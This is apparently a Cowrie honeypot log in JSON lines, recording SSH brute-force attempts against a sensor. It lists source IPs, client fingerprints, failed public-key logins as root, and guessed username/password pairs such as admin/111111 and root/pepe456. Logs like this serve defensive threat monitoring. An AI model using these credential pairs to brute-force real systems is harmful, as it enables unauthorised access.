{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.221749Z","src_ip":"38.148.249.2","session":"5a71323c8605","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:ce:03:dc:83:55:28:49:91:c8:2b:3e:9e:ef:58:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmxEsSG4hbEUI8SD5vO20nCxFmYkjPYB4NAH+6H/lZyp30YO78RfsCwlf8RCFjAf7BBNTG691Nue6erZAnBEqhVa5kLcL6HmQp1V0DINASPqnbovisGm0wWFHKHJxUa7NPn4Py2Y0aQUCdr8fLeGMRrcCXrrjcU5nLmyimteyvhKr8y1aNqw25964FfUnQNyH71GCCHpTm8psewipeyNakWKVO6XwWkoTZHRbsp18E1dxSO/RPyVFFmFPGdXl246SrkTNwdh43SprPxcb5pxqhg3w7P0vUbVOWLtrf13bs/9cTgjVM+9KNiS5uSkT2+W9YILpZv3hMmlyTU7wOMghX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:ce:03:dc:83:55:28:49:91:c8:2b:3e:9e:ef:58:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.254909Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:ce:03:dc:83:55:28:49:91:c8:2b:3e:9e:ef:58:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmxEsSG4hbEUI8SD5vO20nCxFmYkjPYB4NAH+6H/lZyp30YO78RfsCwlf8RCFjAf7BBNTG691Nue6erZAnBEqhVa5kLcL6HmQp1V0DINASPqnbovisGm0wWFHKHJxUa7NPn4Py2Y0aQUCdr8fLeGMRrcCXrrjcU5nLmyimteyvhKr8y1aNqw25964FfUnQNyH71GCCHpTm8psewipeyNakWKVO6XwWkoTZHRbsp18E1dxSO/RPyVFFmFPGdXl246SrkTNwdh43SprPxcb5pxqhg3w7P0vUbVOWLtrf13bs/9cTgjVM+9KNiS5uSkT2+W9YILpZv3hMmlyTU7wOMghX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.257707Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":41222,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c940c658d2a","protocol":"ssh","message":"New connection: 80.94.92.55:41222 (10.17.0.5:22) [session: 5c940c658d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.281714Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:aa:8b:53:51:40:c8:42:f4:94:6a:83:3e:3d:7a:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCowZRm/z4e8CwyutJDXDiW/jDtFM6PwQQLwK3D79vfeHHHdtXk0xea6inmYkTMFlgQRHk4uJaq78C2nTrJQwRs0lZZRb63zev8hSYCD2UPik6lmB/gtL23TywQcJnS6YEvY9UWKqhEPM21AzpNrqW45mzGhv/5CLgm1HkDRDKK6rLStKq40DXhKo/Nwzat+WZvG/Bdt1RT2RzUXLrlNg4BRoE5Hv38k76DX/H02+9QuFDZrfz8VsVXlrNYE0f4BedbXonxVAu5G2trWnhqPJQvfqV5fcx/qxGKe8Bs5kMIUgsD/sbVjWVyDkAq52OxmtGVHUwr7dZ7nVu/dcKAqmkv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:aa:8b:53:51:40:c8:42:f4:94:6a:83:3e:3d:7a:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.337888Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:aa:8b:53:51:40:c8:42:f4:94:6a:83:3e:3d:7a:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCowZRm/z4e8CwyutJDXDiW/jDtFM6PwQQLwK3D79vfeHHHdtXk0xea6inmYkTMFlgQRHk4uJaq78C2nTrJQwRs0lZZRb63zev8hSYCD2UPik6lmB/gtL23TywQcJnS6YEvY9UWKqhEPM21AzpNrqW45mzGhv/5CLgm1HkDRDKK6rLStKq40DXhKo/Nwzat+WZvG/Bdt1RT2RzUXLrlNg4BRoE5Hv38k76DX/H02+9QuFDZrfz8VsVXlrNYE0f4BedbXonxVAu5G2trWnhqPJQvfqV5fcx/qxGKe8Bs5kMIUgsD/sbVjWVyDkAq52OxmtGVHUwr7dZ7nVu/dcKAqmkv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.485441Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:2a:3e:d7:9c:3e:8c:36:29:c0:ef:9c:1d:f6:67:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxq2LPTstb2TxOr5uIdeti8gGa6+MTsWfn1x7N4bfGpwyh7BmQ8xjyLfnYURjIILXLP8wORKMGI1nYsFt1WRRdFE7rieiuOHNuynU/VHiyE93FrjdfWuJrS6ORmJKO/r7Z2WNnAZxrE07D1gOhk3KAnvRsf42shxdlnZr9OzoDrfHqoJV7v6yI0fMb1d9vAmkpePHdjeDtuh+p1RS4r0ezTtvNNeJWt8EYJZghzCREgthk4uNWcEaNYtEyhtWWhZ0n5/qtxZSy1NFWBsXWGRxXeaMnH2NIe4YhUPEPiTfS4FceOXxdTd4RAlagxhQjcXXV3//HWGuIu50tJzsFxhuGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:2a:3e:d7:9c:3e:8c:36:29:c0:ef:9c:1d:f6:67:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.565602Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:2a:3e:d7:9c:3e:8c:36:29:c0:ef:9c:1d:f6:67:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxq2LPTstb2TxOr5uIdeti8gGa6+MTsWfn1x7N4bfGpwyh7BmQ8xjyLfnYURjIILXLP8wORKMGI1nYsFt1WRRdFE7rieiuOHNuynU/VHiyE93FrjdfWuJrS6ORmJKO/r7Z2WNnAZxrE07D1gOhk3KAnvRsf42shxdlnZr9OzoDrfHqoJV7v6yI0fMb1d9vAmkpePHdjeDtuh+p1RS4r0ezTtvNNeJWt8EYJZghzCREgthk4uNWcEaNYtEyhtWWhZ0n5/qtxZSy1NFWBsXWGRxXeaMnH2NIe4YhUPEPiTfS4FceOXxdTd4RAlagxhQjcXXV3//HWGuIu50tJzsFxhuGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.568077Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.648850Z","src_ip":"87.121.69.138","session":"190211f8a5c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.671937Z","src_ip":"38.148.249.2","session":"5a71323c8605","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.755050Z","src_ip":"80.94.92.55","session":"5c940c658d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:16.757979Z","src_ip":"80.94.92.55","session":"5c940c658d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:17.743312Z","src_ip":"38.148.249.2","session":"5a71323c8605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:18.910309Z","src_ip":"80.94.92.55","session":"5c940c658d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:21.377272Z","src_ip":"80.94.92.55","session":"5c940c658d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":54192,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2789508acee","protocol":"ssh","message":"New connection: 38.242.143.220:54192 (10.17.0.5:22) [session: a2789508acee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:42.500138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:42.507123Z","src_ip":"38.242.143.220","session":"a2789508acee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:42.597781Z","src_ip":"38.242.143.220","session":"a2789508acee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pepe456","message":"login attempt [root/pepe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:42.869111Z","src_ip":"38.242.143.220","session":"a2789508acee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:43.961294Z","src_ip":"38.242.143.220","session":"a2789508acee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":59926,"dst_ip":"10.17.0.5","dst_port":22,"session":"7610bd49ae5a","protocol":"ssh","message":"New connection: 209.99.190.200:59926 (10.17.0.5:22) [session: 7610bd49ae5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:45.341213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:45.344378Z","src_ip":"209.99.190.200","session":"7610bd49ae5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:45.443551Z","src_ip":"209.99.190.200","session":"7610bd49ae5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iflytek","message":"login attempt [root/iflytek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:45.874641Z","src_ip":"209.99.190.200","session":"7610bd49ae5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:37:46.977007Z","src_ip":"209.99.190.200","session":"7610bd49ae5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.038028955459595,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:01.149792Z","src_ip":"107.6.151.170","session":"4b35931f6177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":55658,"dst_ip":"10.17.0.5","dst_port":22,"session":"088d34e8b11e","protocol":"ssh","message":"New connection: 162.240.20.137:55658 (10.17.0.5:22) [session: 088d34e8b11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:31.929916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:31.936014Z","src_ip":"162.240.20.137","session":"088d34e8b11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:32.024549Z","src_ip":"162.240.20.137","session":"088d34e8b11e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shib456","message":"login attempt [root/shib456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:32.290725Z","src_ip":"162.240.20.137","session":"088d34e8b11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:33.381196Z","src_ip":"162.240.20.137","session":"088d34e8b11e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63154,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0e6e8dc174e","protocol":"ssh","message":"New connection: 109.91.4.177:63154 (10.17.0.5:22) [session: e0e6e8dc174e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:47.936975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:47.940695Z","src_ip":"109.91.4.177","session":"e0e6e8dc174e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":42502,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dac6e3ec5e6","protocol":"ssh","message":"New connection: 177.76.134.52:42502 (10.17.0.5:22) [session: 5dac6e3ec5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:48.021319Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:48.046959Z","src_ip":"109.91.4.177","session":"e0e6e8dc174e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:48.057905Z","src_ip":"177.76.134.52","session":"5dac6e3ec5e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:48.188226Z","src_ip":"177.76.134.52","session":"5dac6e3ec5e6","protocol":"ssh"}
